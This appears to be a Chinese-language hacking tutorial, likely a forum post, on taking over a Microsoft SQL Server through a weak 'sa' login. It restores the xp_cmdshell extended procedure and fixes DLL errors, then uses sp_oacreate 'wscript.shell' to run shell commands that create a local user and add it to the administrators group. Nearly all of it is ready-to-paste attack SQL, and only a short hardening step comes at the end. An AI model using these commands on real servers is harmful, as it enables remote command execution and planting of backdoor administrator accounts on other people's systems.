create procedure sp_addextendedproc --- 1996/08/30 20:13@functname nvarchar(517),/* (owner.)name of function to call */@dllname varchar(255)/* name of DLL containing function */asset implicit_transactions offif @@trancount > 0beginraiserror(15002,-1,-1,'sp_addextendedproc')return (1)enddbcc addextendedproc( @functname, @dllname)return (0) -- sp_addextendedprocGO。进SQL查询分离器,输入连接IP。然后这段代码贴入查询分离器,执行。
接着
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
————————————————————————————————————————————————
贴这段代码贴入查询分离器,执行。
一般情况下就OK了!但是也有可能会出错!出错情况有下面几种!(你收我为徒吧)
无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)恢复方法:查询分离器连接后,第一步执行:sp_dropextendedproc "xp_cmdshell"第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'执行
无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)恢复方法:查询分离器连接后,第一步执行:exec sp_dropextendedproc 'xp_cmdshell'第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' 执行
这也是一种
还有就是如果还不行的话!
2000servser系统:declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/winnt/system32/cmd.exe /c net user yszar andylau /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/winnt/system32/cmd.exe /c net localgroup administrators yszar /add'
xp或2003server系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net user 用户名 密码 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net localgroup administrators 用户名 /add'
或者可以
declare @o intexec sp_oacreate 'wscript.shell', @o outexec sp_oamethod @o, 'run', NULL, 'XXXXX' //XXXXX为你要执行的命令
可能会有点用
C:/>net localgroup administrators admin$ /add命令成功完成。
2.删除xp_cmdshell扩展:sp_dropextendedproc 'xp_cmdshell' 3.修补sa弱口令:exec sp_password NULL,'新密码','sa'
